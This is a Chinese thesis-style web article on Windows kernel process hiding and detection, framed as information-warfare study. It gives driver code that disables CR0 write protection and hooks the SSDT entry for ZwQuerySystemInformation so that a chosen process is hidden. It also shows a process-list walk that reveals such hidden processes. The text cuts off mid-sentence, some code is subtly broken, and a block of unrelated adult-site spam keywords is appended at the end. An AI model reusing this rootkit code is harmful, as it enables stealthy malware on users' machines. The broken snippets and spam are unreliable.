Windows 內核級進程隱藏、偵測技術

          時間:2022-11-18 21:48:05 計算機應用畢業論文 我要投稿
          • 相關推薦

          Windows2003 內核級進程隱藏、偵測技術

            論文關鍵字: 內核 攔截 活動進程鏈表 系統服務派遣表 線程調度鏈 驅動程序簡介  

            論文摘要:信息對抗是目前發展的一個重要的方向,為了更好的防御,必須去深入的了解敵人進攻的招式。信息對抗促使信息技術飛速的發展。下面我選取了信息對抗技術的中一個很小一角關于windows內核級病毒隱藏技術和反病毒偵測技術作為議題詳細討論。

            1.為什么選驅動程序

            驅動程序是運行在系統信任的Ring0下在代碼,她擁有對系統任何軟件和硬件的訪問權限。這意味著內核驅動可以訪問所有的系統資源,可以讀取所有的內存空間,而且也被允許執行CPU的特權指令,如,讀取CPU控制寄存器的當前值等。而處于用戶模式下的程序如果試圖從內核空間中讀取一個字節或者試圖執行像MOV EAX,CR3這樣的匯編指令都會被立即終止掉。不過,這種強大的底線是驅動程序的一個很小的錯誤就會讓整個系統崩潰。所以對隱藏和反隱藏技術來說都提供了一個極好的環境。但是又對攻擊者和反查殺者提出了更高的技術要求。

            2.入口例程DriverEntry

            DriverEntry是內核模式驅動程序主入口點常用的名字,她的作用和main,WinMain,是一樣的。

            extern "C" NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath)
            {...}

            DriverEntry的第一個參數是一個指針,指向一個剛被初始化的驅動程序對象,該對象就代表你的驅動程序,DriverEntry的第二個參數是設備服務鍵的鍵名。DriverEntry函數返回一個NTSTATUS值。NTSTATUS實際就是一個長整型,但你應該使用NTSTATUS定義該函數的返回值而不是LONG,這樣代碼的可讀性會更好。大部分內核模式支持例程都返回NTSTATUS狀態代碼,你可以在DDK頭文件NTSTATUS.H中找到NTSTATUS的代碼列表。

            DriverEntry的作用主要就是創建設備對象,建立設備對象的符號鏈接,設置好各個類型的回調函數等。

            例如:

          extern "C"

          NTSTATUS

          DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath)

          {

           DriverObject->DriverUnload = DriverUnload;                                                             <--1

           DriverObject->DriverExtension->AddDevice = AddDevice;

           DriverObject->DriverStartIo = StartIo;

           DriverObject->MajorFunction[IRP_MJ_PNP] = DispatchPnp;                                        <--2

           DriverObject->MajorFunction[IRP_MJ_POWER] = DispatchPower;

           DriverObject->MajorFunction[IRP_MJ_SYSTEM_CONTROL] = DispatchWmi;

           ...

          }

            在WDM中通過設置AddDevice回調函數來創建設備對象。在NT驅動中在DriverEntry例程中創建設備對象和符號鏈接。

            例如:

            RtlInitUnicodeString (&deviceNameUnicodeString, deviceNameBuffer); //初始化設備名字
          //創建設備

          ntStatus = IoCreateDevice (DriverObject,     

                                      0,

                                      &deviceNameUnicodeString,

                                      ##DeviceId,

                                      0,

                                      FALSE,

                                      &deviceObject

                                      );
          if ( NT_SUCCESS ( ntStatus ) )  {

              RtlInitUnicodeString (&deviceLinkUnicodeString, deviceLinkBuffer); //初始化符號鏈接名字

          //創建符號鏈接
              ntStatus = IoCreateSymbolicLink (&deviceLinkUnicodeString, &deviceNameUnicodeString);
              if ( !NT_SUCCESS ( ntStatus ) ) {

                  IoDeleteDevice (deviceObject); //如果創建符號鏈接失敗,刪除設備
                       return ntStatus;

          }

          }

            建立符號鏈接的作用就是暴露一個給應用程序的接口,應用程序可以通過CreateFile API打開鏈接符號,得到一個語柄,和我們的驅動程序進行交互操作。

            3.Unload例程

            雖然各個驅動程序的Unload例程不盡相同,但是它大致執行下列工作:

            釋放屬于驅動程序的任何硬件。

            從Win32的名字空間移除符號連接名。

            這個動作可以調用IoDeleteSymbolicLink來實現。

            使用IoDeleteDevice移除設備對象。

            釋放驅動程序持有的任何緩沖池等。

          VOID DriverUnload ( IN PDRIVER_OBJECT pDriverObject )

          {

          PDEVICE_OBJECT pNextObj;

          // 循環每一個驅動過程控制的設備

          pNextObj = pDriverObject->DeviceObject;

          while (pNextObj != NULL)

          {

          //從設備對象中取出設備Extension

          PDEVICE_EXTENSION pDevExt = (PDEVICE_EXTENSION)extObj->DeviceExtension;

          // 取出符號連接名

          UNICODE_STRING pLinkName = pDevExt->ustrSymLinkName;

          IoDeleteSymbolicLink(&pLinkName); //刪除符號連接名

          IoDeleteDevice(pNextObj); // 刪除設備

          pNextObj = pNextObj->NextDevice;

          }

          }

            4. 派遣例程

            Win2000的I/O請求是包驅動的,當一個I/O請求開始,I/O器先創建一個IRP去跟蹤這個請求,另外,它存儲一個功能代碼在IRP的I/O堆棧區的MajorField域中來唯一的標識請求的類型。MajorField域是被I/O管理器用來索引驅動程序對象的MajorFunction表,這個表包含一個指向一個特殊I/O請求的派遣例程的功能指針,如果驅動 程序不支持這個請求,MajorFunction表就會指向I/O器函數_IopInvalidDeviceRequest,該函數返回一個錯誤給原始的調用者。驅動程序的作者有責任提供所有的驅動程序支持的派遣例程。所有的驅動程序必須支持IRP_MJ_CREATE功能代碼,因為這個功能代碼是用來響應Win32用戶模式的CreateFile調用,如果不支持這功能代碼,Win32程序就沒有辦法獲得設備的句柄,類似的,驅動程序必須支持IRP_MJ_CLOSE功能代碼,因為它用來響應Win32用戶模式的CloseHandle調用。順便提一下,系統自動調用CloseHandle函數,因為在程序退出的時候,所有的句柄都沒有被關閉。

           static NTSTATUS MydrvDispatch (IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)

          {

              NTSTATUS status;

              PIO_STACK_LOCATION irpSp;

              //得到當前IRP (I/O請求包)

              irpSp = IoGetCurrentIrpStackLocation( Irp );

              switch (irpSp->MajorFunction)

              {

                  case IRP_MJ_CREATE:

                      DbgPrint("IRP_MJ_CREATE\n");

                      Irp->IoStatus.Status = STATUS_SUCCESS;

                      Irp->IoStatus.Information = 0L;

                      break;

                  case IRP_MJ_CLOSE:

                      DbgPrint("IRP_MJ_CLOSE\n");

                      Irp->IoStatus.Status = STATUS_SUCCESS;

                      Irp->IoStatus.Information = 0L;

                      break;

              }

              IoCompleteRequest(Irp, 0);

              return STATUS_SUCCESS;

          }

            大部分的I/O管理器的操作支持一個標準的讀寫提取,IRP_MJ_DEVICE_CONTROL允許擴展的I/O請求,使用用戶模式的DeviceIoControl函數來調用,I/O管理器創建一個IRP,這個IRP的MajorFunction和IoControlCode是被DeviceIoControl函數指定其內容。傳遞給驅動程序的IOCTL遵循一個特殊的結構,它有32-bit大小,DDK包含一個方便的產生IOCTL值的機制的宏,CTL_CODE。可以使用CTL_CODE宏來定義我們自己的IOCTL。

          例如:

          #define IOCTL_MISSLEDEVICE_AIM  CTL_CODE \

          ( FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ACCESS_ANY )

           NTSTATUS DispatchIoControl( IN PDEVICE_OBJECT pDO, IN PIRP pIrp )

          {

              NTSTATUS status = STATUS_SUCCESS;     

              PDEVICE_EXTENSION pDE;

              PVOID userBuffer;

              ULONG inSize;

              ULONG outSize;

              ULONG controlCode;                 // IOCTL請求代碼

              PIO_STACK_LOCATION pIrpStack;   //堆棧區域存儲了用戶緩沖區信息

               pIrpStack = IoGetCurrentIrpStackLocation( pIrp );

              // 取出IOCTL請求代碼

              controlCode = pIrpStack-> Parameters.DeviceIoControl.IoControlCode;

              // 得到請求緩沖區大小

              inSize = pIrpStack-> Parameters.DeviceIoControl.InputBufferLength;

              OutSize = pIrpStack-> Parameters.DeivceIoControl.OutputBufferLength;

              //現在執行二次派遣

              switch (controlCode)

              {

                  case IOCTL_MISSLEDEVICEAIM:

                 ......

                  case IOCTL_DEVICE_LAUNCH:

                  ......

                  default:    // 驅動程序收到了未被承認的控制代碼

                  status = STATUS_INVALID_DEVICE_REQUEST;

              }

              pIrp->IoStatus.Information = 0; // 數據沒有傳輸

              IoCompleteRequest( pIrp, IO_NO_INCREMENT ) ;     

              return status;

          }

            5.驅動程序的安裝

              SC管理器(即服務控制管理器)可以控制服務和驅動程序。

              加載和運行一個服務需要執行的典型操作步驟:

              1.調用OpenSCManager()以獲取一個管理器句柄

              2.調用CreateService()來向系統中添加一個服務

              3.調用StartService()來運行一個服務

              4.調用CloseServiceHandle()來釋放管理器或服務句柄

           BOOL    InstallDriver()

          {

              SC_HANDLE hSCManager = NULL;

              hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);

              if(hSCManager == NULL)

              {

          fprintf(stderr, "OpenSCManager() failed. --err: %d\n", GetLastError());

                  return FALSE;

              }

              SC_HANDLE schService;

          schService = CreateService( hSCManager, //SCManager database

                                     "MyDriver",             // name of service

                                      "MyDriver",             // name to display

                                     SERVICE_ALL_ACCESS,     // desired access

                                     SERVICE_KERNEL_DRIVER,   // service type

                                      SERVICE_AUTO_START,    // start type

                              SERVICE_ERROR_NORMAL, // error control type

                                      DriverPath,              // service's binary

                                      NULL,                 // no load ordering group

                                      NULL,                    // no tag identifier

                                      NULL,                    // no dependencies

                                      NULL,                    // LocalSystem account

                                      NULL                     // no password

                                      );

              if (schService == NULL)

              {

                  if(GetLastError() == ERROR_SERVICE_EXISTS)

                  {

                      printf("Service has already installed!\n");

                  }

                  printf("Install driver false!");

                  return FALSE;

              }

              BOOL    nRet = StartService(schService, 0, NULL);

              if(!nRet)

              {

                if(GetLastError() == ERROR_SERVICE_ALREADY_RUNNING)

                  {

                      printf("Service is already running!\n");

                      return FALSE;

                  }

              }

          CloseServiceHandle(schService);

              CloseServiceHandle(hSCManager);

              return TRUE;

          }

            以上對驅動程序大致框架做了一個非常簡單的介紹,這僅僅是驅動程序中的一個”Hello World!”。驅動程序是相當復雜的,由于我們只是利用驅動程序的特權,對windows內核進行修改,所以就不對驅動驅動程序進行深入討論了。

            通過Hook SSDT (System Service Dispath Table) 隱藏進程

            1.原理介紹:

            Windows操作系統是一種分層的架構體系。應用層的程序是通過API來訪問操作系統。而API又是通過ntdll里面的核心API來進行系統服務的查詢。核心API通過對int 2e的切換,從用戶模式轉換到內核模式。2Eh中斷的功能是通過NTOSKRNL.EXE的一個函數KiSystemService()來實現的。在你使用了一個系統調用時,必須首先裝載要調用的函數索引號到EAX寄存器中。把指向參數區的指針被保存在EDX寄存器中。中斷調用后,EAX寄存器保存了返回的結果。KiSystemService()是根據EAX的值來決定哪個函數將被調用。而系統在SSDT中維持了一個數組,專門用來索引特定的函數服務地址。在Windows 2000中有一個未公開的由ntoskrnl.exe導出的KeServiceDescriptorTable變量,我們可以通過它來完成對SSDT的訪問與修改。KeServiceDescriptorTable對應于一個數據結構,定義如下:

          typedef struct SystemServiceDescriptorTable
          {
              UINT    *ServiceTableBase;
              UINT    *ServiceCounterTableBase;
              UINT    NumberOfService;
              UCHAR    *ParameterTableBase;
          }SystemServiceDescriptorTable,*PSystemServiceDescriptorTable;

            其中ServiceTableBase指向系統服務程序的地址(SSDT),ParameterTableBase則指向SSPT中的參數地址,它們都包含了NumberOfService這么多個數組單元。在windows 2000 sp4中NumberOfService的數目是248個。

            我們的任務器,是通過用戶層的API來枚舉當前的進程的。Ring3級枚舉的方法:

          • PSAPI

          – EnumProcesses()

          • ToolHelp32

          – Process32First()

          - Process32Next()

            來對進程進行枚舉。而她們最后都是通過NtQuerySystemInformation來進行查詢的。所以我們只需要Hook掉NtQuerySystemInformation,把真實NtQuerySystemInformation返回的數進行添加或者是刪改,就能有效的欺騙上層API。從而達到隱藏特定進程的目的。

            2. Hook

            Windows2000中NtQuerySystemInformation在SSDT里面的索引號是0x97,所以只需要把SSDT中偏移0x97*4處把原來的一個DWORD類型的讀出來保存一個全局變量中然后再把她重新賦值成一個新的Hook函數的地址,就完成了Hook。

          OldFuncAddress = KeServiceDescriptorTable-> ServiceCounterTableBase[0x97];

          KeServiceDescriptorTable-> ServiceCounterTableBase[0x97] = NewFuncAddress;

            在其他系統中這個號就不一定一樣。所以必須找一種通用的辦法來得到這個索引號。在《Undocument Nt》中介紹了一種辦法可以解決這個通用問題,從未有效的避免了使用硬編碼。在ntoskrnl 導出的 ZwQuerySystemInformation中包含有索引號的硬編碼:

          kd> u ZwQuerySystemInformation

          804011aa    b897000000      mov         eax,0x97

          804011af    8d542404        lea         edx,[esp+0x4]

          804011b3    cd2e            int         2e

          804011b5    c21000          ret         0x10

            所以只需要把ZwQuerySystemInformation入口處的第二個字節取出來就能得到相應的索引號了。例如:

          ID = *(PULONG)((PUCHAR)ZwQuerySystemInformation+1);

          RealZwQuerySystemInformation=((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[ID]);

          ((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[ID] = HookZwQuerySystemInformation;

            3.對NtQuerySystemInformation返回的數據進行刪改

          NtQuerySystemInformation的原型:

          NtQuerySystemInformation(

                  IN ULONG SystemInformationClass,   //查詢系統服務類型

                  IN PVOID SystemInformation,        //接收系統信息緩沖區

               IN ULONG SystemInformationLength,   //接收信息緩沖區大小         OUT PULONG ReturnLength);       //實際接收到的大小

            NtQuerySystemInformation可以對系統的很多狀態進行查詢,不僅僅是對進程的查詢,通過SystemInformationClass號來區分功能,當SystemInformationClass等于5的時候是在進行進程的查詢。此時返回的SystemInformation 是一個 _SYSTEM_PROCESSES結構。

          struct _SYSTEM_PROCESSES

          {

              ULONG NextEntryDelta;   //下一個進程信息的偏移量,如果為0表示無一個進程信息

              ULONG ThreadCount;     //線程數量

              ULONG Reserved[6];     //

              LARGE_INTEGER CreateTime;      //創建進程的時間

              LARGE_INTEGER UserTime;         //進程中所有線程在用戶模式運行時間的總和

              LARGE_INTEGER KernelTime;      //進程中所有線程在內核模式運行時間的總和

              UNICODE_STRING ProcessName;     //進程的名字

              KPRIORITY BasePriority;         //線程的缺省優先級

              ULONG ProcessId;                //進程ID號

              ULONG InheritedFromProcessId;  //繼承語柄的進程ID號

              ULONG HandleCount;              //進程打開的語柄數量   

              ULONG Reserved2[2];             // 

              VM_COUNTERS VmCounters;         //虛擬內存的使用情況

              IO_COUNTERS IoCounters;         //IO操作的統計,Only For 2000

              struct _SYSTEM_THREADS Threads[1]; //描述進程中各線程的數組

          };

            當NextEntryDelta域等于0時表示已經到了進程信息鏈的末尾。我們要做的僅僅是把要隱藏的進程從鏈中刪除。

            4. 核心實現

          //系統服務表入口地址

          extern PServiceDescriptorTableEntry KeServiceDescriptorTable;

          NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath)

          {

              ……

              __asm{

                  mov eax, cr0

                  mov CR0VALUE, eax

                  and eax, 0fffeffffh //DisableWriteProtect

                  mov cr0, eax

              }

              //取得原來ZwQuerySystemInformation的入口地址

          RealZwQuerySystemInformation=(REALZWQUERYSYSTEMINFORMATION)(((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[*(PULONG)((PUCHAR)ZwQuerySystemInformation+1)] );

              //Hook

          ((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[*(PULONG)((PUCHAR)ZwQuerySystemInformation+1)]=HookFunc;

              //EnableWriteProtect

              __asm

              {

                  mov eax, CR0VALUE

                  mov cr0, eax

              }

              ……

              return STATUS_SUCCESS;

          }

            

          VOID DriverUnload (IN PDRIVER_OBJECT pDriverObject)

          {

              ……

              //UnHook恢復系統服務的原始入口地址

          ((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[*(PULONG)((PUCHAR)ZwQuerySystemInformation+1)] = RealZwQuerySystemInformation;

              ……

          }

            

          NTSTATUS HookFunc(

                  IN ULONG SystemInformationClass,

                  IN PVOID SystemInformation,

                  IN ULONG SystemInformationLength,

                  OUT PULONG ReturnLength)

          {

              NTSTATUS rc;

              struct _SYSTEM_PROCESSES *curr;

              // 保存上一個進程信息的指針

              struct _SYSTEM_PROCESSES *prev = NULL;

              //調用原函數

              rc = (RealZwQuerySystemInformation) (

                  SystemInformationClass,

                  SystemInformation,

                  SystemInformationLength, ReturnLength);

              if(NT_SUCCESS(rc))

              {

          if(5 == SystemInformationClass)

          //如果系統查詢類型是SystemProcessesAndThreadsInformation

                  {

                      curr = (struct _SYSTEM_PROCESSES *)SystemInformation;

                      //加第一個偏移量得到第一個system進程的信息首地址

                      if(curr->NextEntryDelta)((char *)curr += curr->NextEntryDelta);

                      while(curr)

                      {

          if(RtlCompareUnicodeString(&hide_process_name, &curr->ProcessName, 1) == 0)

                          {

                              //找到要隱藏的進程

                              if(prev)

                              {

                                 

                                  if(curr->NextEntryDelta)

                                  {

                                      //要刪除的信息在中間

                                      prev->NextEntryDelta += curr->NextEntryDelta;

                                  }

                                  else

                                  {

                                      //要刪除的信息在末尾

                                      prev->NextEntryDelta = 0;

                                  }

                              }

                              else

                              {

                                  if(curr->NextEntryDelta)

                                  {

                                      //要刪除的信息在開頭

                                      (char *)SystemInformation += curr->NextEntryDelta;

                                  }

                                  else

                                  {

                                      SystemInformation = NULL;

                                  }

                              }

                              //如果鏈下一個還有其他的進程信息,指針往后移

                              if(curr->NextEntryDelta)

          ((char*)curr+=curr->NextEntryDelta);                    else

                              {

                                  curr = NULL;

                                  break;

                              }

                          }

                          if(curr != NULL)

                          {

                              //把當前指針設置成前一個指針,當前指針后移

                              prev = curr;

                              if(curr->NextEntryDelta)

          ((char*)curr+=curr->NextEntryDelta);

                              else curr = NULL;

                          }

                      } // end while(curr)

                  }

              }

              return rc;

          }

            通過IOCTL和Ring3級的應用程序通過DeviceIoControl(API)交互信息。Ring3級的用戶程序使用,

            DeviceIoControl(Handle,IOCTL_EVENT_MSG,ProcessName,ProcessNameLen,

            NULL,0,& BytesReturned,NULL)來通知驅動程序要隱藏的進程的名字。

            枚舉和修改活動進程鏈表來檢測和隱藏進程

            1. 介紹EPROCESS塊(進程執行塊)

            每個進程都由一個EPROCESS塊來表示。EPROCESS塊中不僅包含了進程相關了很多信息,還有很多指向其他相關結構數據結構的指針。例如每一個進程里面都至少有一個ETHREAD塊表示的線程。進程的名字,和在用戶空間的PEB(進程)塊等等。EPROCESS中除了PEB成員塊在是用戶空間,其他都是在系統空間中的。  

            2. 查看EPROCESS結構

          kd> !processfields

          !processfields

           EPROCESS structure offsets:

              Pcb:                               0x0

              ExitStatus:                        0x6c

              LockEvent:                         0x70

              LockCount:                         0x80

              CreateTime:                        0x88

              ExitTim e:                          0x90

              LockOwner:                         0x98

              UniqueProcessId:                   0x9c

              ActiveProcessLinks:                0xa0

              QuotaPeakPoolUsage[0]:             0xa8

              QuotaPoolUsage[0]:                 0xb0

              PagefileUsage:                     0xb8

              CommitCharge:                      0xbc

              PeakPagefileUsage:                 0xc0

              PeakVirtualSize:                   0xc4

              VirtualSize:                       0xc8

              Vm:                                0xd0

              DebugPort:                         0x120

              ExceptionPort:                     0x124

              ObjectTable:                       0x128

              Token:                             0x12c

              WorkingSetLock:                    0x130

              WorkingSetPage:                    0x150

              ProcessOutswapEnabled:             0x154

              ProcessOutswapped:                 0x155

              AddressSpaceInitialized:           0x156

              AddressSpaceDeleted:               0x157

              AddressCreationLock:               0x158

              ForkInProgress:                    0x17c

              VmOperation:                       0x180

              VmOperationEvent:                  0x184

              PageDirectoryPte:                  0x1f0

              LastFaultCount:                    0x18c

              VadRoot:                           0x194

              VadHint:                           0x198

              CloneRoot:                         0x19c

              NumberOfPrivatePages:              0x1a0

              NumberOfLockedPages:               0x1a4

              ForkWasSuccessful:                 0x182

              ExitProcessCalled:                 0x1aa

              CreateProcessReported:             0x1ab

              SectionHandle:                     0x1ac

              Peb:                               0x1b0

              SectionBaseAddress:                0x1b4

              QuotaBlock:                        0x1b8

              LastThreadExitStatus:              0x1bc

              WorkingSetWatch:                   0x1c0

              InheritedFromUniqueProcessId:      0x1c8

              GrantedAccess:                     0x1cc

              DefaultHardErrorProcessing         0x1d0

              LdtInformation:                    0x1d4

              VadFreeHint:                       0x1d8

              VdmObjects:                        0x1dc

              DeviceMap:                         0x1e0

              ImageFileName[0]:                  0x1fc

              VmTrimFaultValue:                  0x20c

              Win32Process:                      0x214

            Win32WindowStation:                0x1c4

            3. 什么是活動進程鏈表

            EPROCESS塊中有一個ActiveProcessLinks成員,它是一個PLIST_ENTRY機構的雙向鏈表。當一個新進程建立的時候父進程負責完成EPROCESS塊,然后把ActiveProcessLinks鏈接到一個全局內核變量PsActiveProcessHead鏈表中。

            在PspCreateProcess內核API中能清晰的找到:

            InsertTailList(&PsActiveProcessHead,&Process->ActiveProcessLinks);

            當進程結束的時候,該進程的EPROCESS結構當從活動進程鏈上摘除。(但是EPROCESS結構不一定就馬上釋放)。

            在PspExitProcess內核API中能清晰的找到:

            RemoveEntryList(&Process->ActiveProcessLinks);

            所以我們完全可以利用活動進程鏈表來對進程進行枚舉。

            4. 進程枚舉檢測Hook SSDT隱藏的進程。

              事實上Nactive API ZwQuerySystemInformation 對進程查詢也是找到活動進程鏈表頭,然后遍歷活動進程鏈。最后把每一個EPROCESS中包含的基本信息返回(包括進程ID名字等)。所以用遍歷活動進程鏈表的辦法能有效的把Hook SSDT進行隱藏的進程輕而易舉的查出來。但是PsActiveProcessHead并沒被ntoskrnl.exe 導出來,所以我們可以利用硬編碼的辦法,來解決這個問題。利用內核調試器livekd查得PsActiveProcessHead的地址為: 0x8046e460.(在2000 sp4中得到的值)

            kd> dd PsActiveProcessHead L 2

            dd PsActiveProcessHead L 2

            8046e460 81829780 ff2f4c80

            PLIST_ENTRY PsActiveProcessHead = (PLIST_ENTRY)0x8046e460;

          void DisplayList()

          {

          PLIST_ENTRY List = PsActiveProcessHead->Blink;

          while( List != PsActiveProcessHead )

          {

                  char* name = ((char*)List-0xa0)+0x1fc;

                  DbgPrint("name = %s\n",name);

                  List=List->Blink;              

          }

          }

            首先把List指向表頭后的第一個元素。然后減去0xa0,因為這個時候List指向的并不是EPROCESS塊的頭,而是指向的它的ActiveProcessLinks成員結構,而ActiveProcessLinks在EPROCESS中的偏移量是0xa0,所以需要減去這么多,得到EPROCESS的頭部。在EPROCESS偏移0x1fc處是進程的名字信息,所以再加上0x1fc得到進程名字,并且在Dbgview中打印出來。利用Hook SSDT隱藏的進程很容易就被查出來了。

            5. 解決硬編碼問題。

            在上面我們的PsActiveProcessHead是通過硬編碼的形式得到的,在不同的系統中這值不一樣。在不同的SP版本中這個值一般也不一樣。這就給程序的通用性帶來了很大的問題。下面就來解決這個PsActiveProcessHead的硬編碼的問題。

              ntoskrnl.exe導出的PsInitialSystemProcess 是一個指向system進程的EPROCESS。這個結構成員EPROCESS.ActiveProcessLinks.Blink就是指向PsActiveProcessHead的.

          kd> dd PsInitialSystemProcess L 1

          dd PsInitialSystemProcess L 1

          8046e450 818296e0

          kd> !process 818296e0 0

          !process 818296e0 0

          PROCESS 818296e0 SessionId: 0 Cid: 0008    Peb: 00000000 ParentCid: 0000

              DirBase: 00030000 ObjectTable: 8185d148 TableSize: 141.

          Image: System

          可以看出由PsInitialSystemProcess得到的818296e0正是指向System的EPROCESS.

          kd> dd 818296e0+0xa0 L 2

          dd 818296e0+0xa0 L 2

          81829780 814d1a00 8046e460

          上面又可以看出S

          【Windows 內核級進程隱藏、偵測技術】相關文章:

          Windows05-28

          佤族孤兒故事人物形象的思想內核與藝術魅力論文04-27

          經濟全球化進程中的新世紀世界格局05-30

          3GPP AMR Codec中丟幀隱藏機制的改進06-17

          如何在 Windows操作系統中改變文件打開方式05-30

          網絡直播技術前沿技術探析05-08

          通信技術論文11-21

          籃球投籃技術11-30

          電子技術論文11-03

          Video Object編碼技術05-29

          麻豆成人国产电影传媒一区,日韩精品在线看,久久精品这里,亚洲综合久久1区2区3区,日韩欧美国产中文,国产原创中文字幕,亚洲福利专区,国产一区二区福利,色综合久久中文色婷婷,日本欧美不卡一区二区三区在线
          97精品国产福利一区二区三区 中文无码日韩欧 久久99精品久久久久久野外 欧美日产国产亚洲综合图区一 欧美日韩免费在线视频 在线视频观看一区 国产精品国产三级国产专 91精品国产一区 亚洲另类中文字幕 日本亚洲国产精品久久 伊人久久精品 亚洲国产精品看片在线观看 欧美国产在线视频 国产精品成人自拍 2021久久精品国产99国产 亚洲丁香色婷婷综合欲色啪 久久亚洲不卡一区二区 国产日韩欧美一区二区三区视频 日本福利片国产午夜久久 伊人热久久 国产视频第二页 天天干在线观看 999精品视频 精品在线第一页 亚洲国产夜色在线观看 日韩一区二区三区四区 亚洲伊人久久综合一区二区 久久精品免视看国产成人2021 日本中文字幕一区二区三区不卡 亚洲国产成人在线 久久91精品国产91久 久久久青草青青亚洲国产免观 中文字幕不卡在线播放 欧美日本在线播放 亚洲一区二区免费视频 欧美aa在线观看 日本国产一区二区三区 国产精品视频一区二区亚瑟 亚洲综合免费视频 国产四虎免费精品视频 亚洲视频一二 午夜久久久精品 色吧五月婷婷 亚洲免费观看网站 久久99精品久久久久久青青91 欧美第一区 亚洲男人天堂手机版 国产91久久最新观看地址 亚洲国产日韩成人综合天堂 中文字幕日韩精品在线 香蕉久久a毛片 男人天堂成人 欧美成a人免费观看 青青草国产精品久久 国产成人免费在线观看 亚洲精品美女久久777777 欧美日韩国产综合一区二区三区 在线视频三区 四虎永久在线 国产成人精品日本亚洲专区6 一区二区在线播放视频 久久99久久99 欧美亚洲日本一区 亚洲成a人片在线网站 中文字幕一区二区在线播放 久久久久久久久性潮 91香蕉视频色 九月色婷婷 午夜精品久久久久久中宇 中文有码第一页 色综合久久中文色婷婷 99精品视频在线这里只有 一木道一二三区精品 亚洲国产毛片aaaaa无费看 国产小视频在线播放 久久精品视频8 性做久久久久久久久浪潮 久久黄色精品视频 91在线视频一区 亚洲精品乱码久久久久久蜜桃欧美 在线观看91精品国产不卡免费 国产真实伦在线观看 青青青免费在线视频 精品国产91久久久久久久 国产在线自在拍91精品黑人 中文字幕精品乱码亚洲一区 亚洲高清在线视频 精品久久久久久久久免费影院 国产精品久久成人影院 中文综合网 国产不卡精品一区二区三区 www.youjizz.com在线观看 日韩精品在线一区 亚洲一区自拍 欧美日韩一区不卡 国产欧美亚洲精品第3页在线 色综合久久久久综合99 成人欧美精品一区二区不卡 亚洲色图视频在线 亚洲涩涩精品专区 欧美日韩亚洲一区二区 www91在线观看 国产成人久久精品一区二区三区 国产色产综合色产在线观看视频 国产成人鲁鲁免费视频a 欧美性猛交99久久久久99 久青草国产免费观看 日本中文字幕一区二区三区不卡 国产日韩欧美一区二区 色综合久久久久综合99 日本一区二区三区免费观看 欧美在线aa 另类综合视频 日本免费专区 亚洲日本欧美在线 九月色婷婷 91在线一区二区三区 亚洲精品乱码久久久久久蜜桃欧美 欧美一区二区三区免费高 欧美亚洲国产精品久久 另类专区欧美 久草综合在线观看 伊人精品视频在线 日韩美一区二区 手机看片福利久久 久久精品国产99久久72 99国产小视频 一区二区三区精品国产 亚洲毛片免费观看 欧美一区二区三区视频在线观看 91亚洲精品视频 亚洲欧美在线免费 丁香婷婷综合网 欧美国产成人在线 日韩精品中文乱码在线观看 日韩在线无 亚洲成人综合网站 欧美午夜一区二区福利视频 精品国产91久久久久久久 久久福利一区二区三区 日韩精品中文乱码在线观看 欧美亚洲国产一区二区 国产青草视频在线观看 91精品国产99久久 91在线一区二区三区 欧美日韩精品一区二区三区视频播放 国产成人一区二区三区在线视频 欧美区国产区 久久r热这里有精品视频 亚洲国产日韩成人综合天堂 国产九九精品 99精品影院 亚洲精品在线不卡 婷婷五月在线视频 欧美性猛交99久久久久99 国产精品三级视频 亚洲国产美女精品久久久久 国产在线精品福利一区二区三区 色天天综合 欧美三区在线 国产观看精品一区二区三区 亚洲国产专区 香蕉尹人综合精品 欧美日韩精品一区二区免费看 亚洲伊人久久综合一区二区 亚洲午夜久久久精品影院视色 国产亚洲精品午夜高清影院 日本mv精品中文字幕 国产精品剧情原创麻豆国产 综合久久伊人 国产成人久久精品一区二区三区 中文字幕亚洲综合久久202 国产精品福利网站 国产成人久久精品一区二区三区 999人在线精品播放视频 日本aⅴ在线不卡免费观看 香蕉视频免费在线播放 国产成人综合网在线播放 国产成+人+亚洲+欧美综合 久久国产精品久久久久久久久久 亚洲精品自拍区在线观看 日韩精品免费观看 亚洲欧美高清在线 日本mv精品中文字幕 午夜精品久久久 成人影院午夜久久影院 久久久香蕉 久久婷婷电影网 亚洲国产综合久久精品 国产91精选在线观看麻豆 久久ri精品高清一区二区三区 日韩成人在线网站 午夜香蕉成视频人网站高清版 99re九精品视频在线视频 亚洲视频一区在线播放 亚洲国产麻豆 东方伊人免费在线观看 欧美成人中文字幕 www.精品国产 精品久久精品久久 亚洲欧洲国产精品久久 手机在线视频一区 欧美日韩国产一区二区三区 欧美成人综合 青青青视频精品中文字幕 久久成人精品 久久婷婷电影网 九九在线精品视频播放 欧美精品久久久亚洲 久久一区视频 色婷婷综合网 国产精品美女久久久久网站 欧美极品一区 久久精品国产三级不卡 亚洲综合在线观看一区www 亚洲婷婷丁香 伊人福利视频导航 国产免费a视频 香蕉青草久久成人网 999人在线精品播放视频 欧美日韩中文国产一区 91日本在线精品高清观看 手机国产精品一区二区 久久精品国产亚洲 国产精品亚洲精品日韩电影 欧美日韩亚洲国产一区二区三区 国产青草 亚洲免费天堂 久久91精品国产91久 久草视频在线资源 中文字幕日本久久2019 亚洲伦理一区 欧美精品亚洲精品日韩经典 国产精品视频久久久久 日本一区二区三区欧美在线观看 色综合久久综合网观看 六月婷婷在线 五月天色婷婷综合 日韩亚洲综合精品国产 欧美综合自拍亚洲综合网 亚洲综合在线观看视频 免费国产网站 欧美成人综合 午夜香蕉成视频人网站高清版 伊人久久大香线蕉综合爱婷婷 亚洲日韩精品欧美一区二区 亚洲欧美在线中文字幕不卡 国产在线资源站 亚洲伊人久久综合一区二区 中文字幕日韩精品中文区 日韩成人在线网站 另类免费视频 国产一区二区三区毛片 色综合久久精品中文字幕 精品在线一区二区三区 青青草原综合久久大伊人精品 亚洲免费区 